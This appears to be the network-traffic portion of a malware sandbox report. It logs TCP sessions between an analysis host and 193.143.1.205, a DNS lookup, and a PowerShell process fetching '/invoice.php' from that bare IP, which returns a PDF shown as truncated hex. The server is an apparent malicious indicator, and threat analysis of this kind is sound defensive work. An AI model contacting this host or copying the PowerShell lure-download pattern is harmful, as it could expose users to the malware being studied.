Jan 13, 2025 13:25:04.827135086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.827150106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.827162027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.827162981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.827174902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.827184916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.827192068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.827198982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.827208996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.827229023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.827246904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.859163046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859177113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859188080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859199047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859206915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.859211922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859225035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859236956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.859236956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859278917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.859467030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859478951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859489918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859500885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859512091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859522104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859528065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.859533072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.859558105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863028049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863039970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863050938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863060951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863068104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863074064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863085985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863094091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863096952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863107920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863118887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863128901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863136053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863142014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863158941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863177061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863178015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863199949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863212109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863221884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863233089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863244057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863253117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863255978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863266945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863277912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863281965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863289118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863300085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863301039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863310099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863323927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863338947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863353968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863356113 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863365889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863377094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863387108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863389015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863399982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863406897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863411903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863421917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863435030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863444090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863455057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863466024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863473892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863483906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863492966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863495111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863507032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863523960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863528013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863538980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863540888 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863550901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863562107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863571882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863578081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863584042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863595963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863600969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863606930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863617897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863630056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863634109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863641977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863651991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863653898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863663912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863672972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863673925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863686085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863687992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863697052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863708973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863723040 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863725901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863738060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863748074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863749981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863759995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863768101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863770962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863782883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863786936 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863794088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863806009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863816977 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863816977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.863842010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.863857031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.892076969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.897325993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897456884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897475004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897485971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897495985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897505999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897516012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897532940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897542953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897552967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897562981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897573948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897584915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897595882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897602081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.897602081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.897603035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.897603035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.897603035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.897605896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897618055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897629023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897629023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.897639990 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.897640944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897655010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897665977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.897666931 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.897700071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.911043882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.911072016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.911083937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.911093950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.911104918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.911115885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.911128044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.911140919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.911305904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.913855076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.913894892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.913947105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.913959026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.913970947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.913980961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.913991928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.913995981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.914004087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.914011955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.914043903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.946136951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946180105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946188927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946206093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946217060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946221113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946225882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946242094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946250916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946260929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946271896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946280003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946336031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.946336031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.946336031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.946347952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946358919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946372032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.946376085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946388960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946388960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.946398973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946412086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946422100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.946440935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.949069023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949080944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949090958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949103117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949106932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.949114084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949125051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.949129105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949148893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949152946 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.949160099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949187040 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.949191093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949202061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949213028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949223042 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.949223995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949248075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.949260950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949271917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.949294090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.950020075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.989053011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:05.286287069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:06.164732933 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:06.169575930 CET	8888	49713	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:06.169642925 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:06.170124054 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:06.174854040 CET	8888	49713	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:06.981053114 CET	8888	49713	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:07.029236078 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:07.464970112 CET	49713	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 13:25:13.935762882 CET	60539	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 13:25:13.935762882 CET	192.168.2.6	1.1.1.1	0xaa9a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 13:25:13.943820953 CET	1.1.1.1	192.168.2.6	0xaa9a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	2248	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 13:25:03.391201019 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 13:25:04.201309919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 12:25:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 13:25:04.201334000 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 13:25:04.201347113 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 13:25:04.201358080 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 13, 2025 13:25:04.201369047 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 13, 2025 13:25:04.201379061 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 13, 2025 13:25:04.201390028 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 13, 2025 13:25:04.201400995 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 13, 2025 13:25:04.201411963 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
